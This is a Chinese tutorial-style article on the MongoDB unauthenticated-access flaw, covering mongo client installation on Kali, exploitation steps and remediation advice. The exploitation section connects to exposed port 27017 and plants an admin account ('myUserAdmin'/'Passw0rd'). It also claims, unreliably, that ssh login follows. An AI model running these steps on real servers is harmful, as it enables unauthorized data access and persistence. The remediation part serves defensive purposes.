当前位置: 首页 > news >正文

MongoDB 未授权访问漏洞

简介

MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致可以未授权登录。

实战

一、环境安装

当发现该端口对外开放时,使用MongoDB的shell工具mongo可以对未授权访问漏洞进行利用。

可以查看官方安装方法

https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/

这边已经整理出kali中安装方法,安装该工具走了不少弯路,遇到各种环境问题。

1.导入MongoDB公共GPG密钥:

wget -qO - https://www.mongodb.org/static/pgp/server-5.0.asc | sudo apt-key add -

如果提示错误运行下面命令之后,重新运行上面命令

sudo apt-get install gnupg

2.创建一个列表文件来配置下载列表和下载源。

echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/5.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list

3.重新加载更新源

sudo apt-get update

4.安装MongoDB的最新稳定版本

sudo apt-get install -y mongodb-org

5.启动进程

sudo systemctl start mongod

如果您在启动mongod时收到类似于以下内容的错误:

Failed to start mongod.service: Unit mongod.service not found.

首先运行以下命令:然后再次运行上面的开始命令,然后再次运行上面的开始命令。

sudo systemctl daemon-reload

6.配置开机自启

sudo systemctl enable mongod

二、漏洞利用

1.扫描或者fofa发现端口或者服务,默认端口27017
在这里插入图片描述
2.使用mongo连接数据库

命令格式:mongo --host 目标ip --port 目标端口
在这里插入图片描述
3.查看用户、数据库信息等
在这里插入图片描述
4.创建系统用户管理员创建一个用户名为myUserAdmin,密码为Passw0rd的系统用户管理员账号

#切换到admin库:
> use admin
switched to db admin#创建用户
> db.createUser({user: "myUserAdmin",pwd: "Passw0rd",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]}
)#创建成功后提示信息:Successfully added user: {"user" : "myUserAdmin","roles" : [{"role" : "userAdminAnyDatabase","db" : "admin"}]
}

5.ssh直接登录系统,利用完毕。

注:kali默认是没有安装mongo数据库连接工具的,需要自己手动安装。

三、漏洞修复

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

1.如MongoDB只需在本地使用,建议只在本地开启监听服务。
2.如果仅对内网服务器提供服务,建议禁止将MongoDB服务发布到互联网上,并在主机上通过防火墙限制访问源IP。
3.启动基于角色的登录认证功能

相关文章:

MongoDB 未授权访问漏洞

简介 MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致…...

花5分钟学习机器学习基础知识

一、什么是机器学习 机器学习的目的是让机器学习,而不是执行预设的算法。 机器学习适用于难以制定规则的问题,如垃圾邮件识别、图像识别。 机器学习模拟人类学习过程:从样本中学习归纳总结,形成模型,然后应用模型完成任务。 机器学习需要大量样本数据和计算能力支持。当前数…...

Qt学习:使用OpenGL绘制3D图形

文章目录 前言一、Qt下使用OpenGL绘制图形介绍二、示例完整代码总结 前言 文章中引用的内容均来自这本书中的原文:【Qt Creator快速入门_霍亚飞编著】,本文的示例也是在书中代码的基础上进行编写的(其中部分代码使用原文编译不过&#xff0c…...

在chrom浏览器安装Vue.js devtools插件,遇到恶意扩展程序字样,附百度网盘下载链接

遇到的问题 拖拽下载好的 Vue.js devtools 插件到谷歌扩展程序, 百度网盘下载地址 链接:https://pan.baidu.com/s/1FeK6pwc2UzRUUlMFN3rW5w?pwdw361 提取码:w361 提示: 解决办法 将Vue.js devtools 插件的后缀从.crx改为.zi…...

WSL2的安装与配置(创建Anaconda虚拟环境、更新软件包、安装PyTorch、VSCode)

1. WSL2 安装 以管理员身份打开 PowerShell(“开始”菜单 >“PowerShell” >单击右键 >“以管理员身份运行”),然后输入以下命令: dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /a…...

【鸿蒙软件开发】ArkTS常见组件之单选框Radio和切换按钮Toggle

文章目录 前言一、Radio单选框1.1 创建单选框1.2 添加Radio事件1.3 场景示例二、切换按钮Toggle2.1 创建切换按钮2.2 创建有子组件的Toggle2.3 自定义样式selectedColor属性switchPointColor属性 2.4 添加事件2.5 示例代码 总结 前言 Radio是单选框组件,通常用于提…...

今年阿里云双十一服务器优惠价格讨论_看看大家怎么说?

2023阿里云双十一云服务器大概会降到什么区间?阿里云服务器网认为会在当前的优惠价格基础上,降价10%左右,可以在阿里云CLUB中心领券:aliyun.club 云服务器专用满减优惠券。阿里云服务器网从各个渠道了解到大家对今年阿里云双十一服…...

LC-1402. 做菜顺序(记忆化搜索 ==> 动态规划、贪心)

1402. 做菜顺序 困难 一个厨师收集了他 n 道菜的满意程度 satisfaction ,这个厨师做出每道菜的时间都是 1 单位时间。 一道菜的 「 like-time 系数 」定义为烹饪这道菜结束的时间(包含之前每道菜所花费的时间)乘以这道菜的满意程度&#x…...

泰森多边形

泰森多边形 93 泰森多边形又叫沃洛诺伊图(Voronoi diagram),得名于Georgy Voronoi,是一组由连接两邻点线段的垂直平分线组成的连续多边形。一个泰森多边形内的任一点到构成该多边形的控制点的距离小于到其他多边形控制点的距离。…...

YOLOV8 进行docker环境配置

修改docker文件 原docekerfile中ADD https://ultralytics.com/assets/Arial.ttf https://ultralytics.com/assets/Arial.Unicode.ttf /root/.config/Ultralytics/下载很慢,可以在外部下载好,放入docker文件夹中,再将源代码改为ADD Arial.ttf…...

sealos一键部署K8S环境(sealos3.0时代教程过时了,目前已经4.0了,请移步使用Sealos一键安装K8S)

1 安装Sealos(4.0版本) sealos部署k8s贼方便,只需要一条init命令即可,3分钟部署完(下载安装包的时间不算)。 官方教程:https://www.sealyun.com/instructions/1st #主机名: hostnamectl set-hostname mas…...

【C++】stackqueue

适配器是一种设计模式 , 该种模式是将一个类的接口转换成客户希望的另外一个接口 。 虽然 stack 和 queue 中也可以存放元素,但在 STL 中并没有将其划分在容器的行列,而是将其称为 容器适配 器 ,这是因为 stack 和队列只是对其他容…...

Hive篇面试题+详解

Hive篇面试题 1.什么是Hive?它的主要功能是什么? Hive是一个基于Hadoop的数据仓库工具,它提供了一个类SQL的查询语言(HiveQL)来查询和分析存储在Hadoop集群中的大规模数据。Hive的主要功能是将结构化数据映射到Hadoop…...

Mysql批量插入更新如何拆分大事务?

拆分大事务 一、解决方案二、遇到问题之前在运行Mysql任务的时候报错:binlog(1610646347 bytes) write threshold exceeded,原因是Mysql任务提交的是个大事务,超出binlog设定阈值,使得系统自动终止事务 一、解决方案 使用limit分页拆分大事务 CREATE PROCEDURE `split_tran…...

【计算机网络原理】初始网络基础

文章目录 1. 网络发展史1.1 单机时代1.2 网络互连局域网 LAN广域网 WAN 2. 网络通信基础2.1 IP 地址2.2 端口号2.3 协议2.4 五元组2.5 协议分层2.5.1 OSI七层模型2.5.2 TCP/IP五层模型 2.6 封装和分用2.6.1 数据封装(发送方情况)2.6.2 数据分用(接收方情况) 总结 1. 网络发展史…...

【sqlserver】配置管理器打不开

问题描述 无法连接到 WMI 提供程序。您没有权限或者该服务器无法访问。请注意,您只能使用SQL Server 配置管理器来管理 SQL Server 2005 和更高版本的服务 器。无效类[0x80041010] 解决方式: 命令提示符-右键-以管理员身份运行,再把以下代码执行一遍&…...

磁盘清理 | 已经卸载的软件还出现在应用和功能里怎么办?

一句话总结解决方法: 安装Geek Uninstaller,删除卸载残留。 问题描述: 最近磁盘满了,需要删除一些平时不常用的软件,但是发现一个问题。就是已经删除的软件,仍然会出现在“应用与功能”中。并且显示卸载图标为灰色&am…...

C++之异常

目录 一、C语言传统的处理错误的方式 二、C的异常 1、概念 2、关键字 3、基本格式 三、异常的抛出和捕获 1、异常的抛出和匹配原则 2、 在函数调用链中异常栈展开匹配原则 四、异常抛派生类,基类捕获 五、异常的重新抛出 六、异常安全 七、异常的优缺点…...

动态天气预报:Living Weather HD for Mac

Living Weather HD能够为Mac用户提供及时、准确、个性化的天气信息,并提供了丰富的定制选项,使用户能够更加方便地查看天气状况。 具有以下特点: 显示世界各地的准确天气预报和当地时间。自动探测出用户所在的首个地点,并通过搜…...

深度神经网络时与协方差矩阵

平时训练深度神经网络时,什么时候用到了协方差矩阵 在深度神经网络的平时训练过程中,一般情况下不直接使用协方差矩阵。然而,协方差矩阵的概念和相关性的考虑在某些情况下可以对网络的训练和优化起到一定的指导作用。 下面是一些与协方差矩…...

Java 语言特性(面试系列1)

一、面向对象编程 1. 封装(Encapsulation) 定义:将数据(属性)和操作数据的方法绑定在一起,通过访问控制符(private、protected、public)隐藏内部实现细节。示例: public …...

Linux简单的操作

ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...

Python如何给视频添加音频和字幕

在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...

鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/

使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现录音机应用

1. 项目配置与权限设置 1.1 配置module.json5 {"module": {"requestPermissions": [{"name": "ohos.permission.MICROPHONE","reason": "录音需要麦克风权限"},{"name": "ohos.permission.WRITE…...

06 Deep learning神经网络编程基础 激活函数 --吴恩达

深度学习激活函数详解 一、核心作用 引入非线性:使神经网络可学习复杂模式控制输出范围:如Sigmoid将输出限制在(0,1)梯度传递:影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...

安卓基础(aar)

重新设置java21的环境,临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的: MyApp/ ├── app/ …...

【生成模型】视频生成论文调研

工作清单 上游应用方向:控制、速度、时长、高动态、多主体驱动 类型工作基础模型WAN / WAN-VACE / HunyuanVideo控制条件轨迹控制ATI~镜头控制ReCamMaster~多主体驱动Phantom~音频驱动Let Them Talk: Audio-Driven Multi-Person Conversational Video Generation速…...

Kubernetes 网络模型深度解析:Pod IP 与 Service 的负载均衡机制,Service到底是什么?

Pod IP 的本质与特性 Pod IP 的定位 纯端点地址:Pod IP 是分配给 Pod 网络命名空间的真实 IP 地址(如 10.244.1.2)无特殊名称:在 Kubernetes 中,它通常被称为 “Pod IP” 或 “容器 IP”生命周期:与 Pod …...

Xela矩阵三轴触觉传感器的工作原理解析与应用场景

Xela矩阵三轴触觉传感器通过先进技术模拟人类触觉感知,帮助设备实现精确的力测量与位移监测。其核心功能基于磁性三维力测量与空间位移测量,能够捕捉多维触觉信息。该传感器的设计不仅提升了触觉感知的精度,还为机器人、医疗设备和制造业的智…...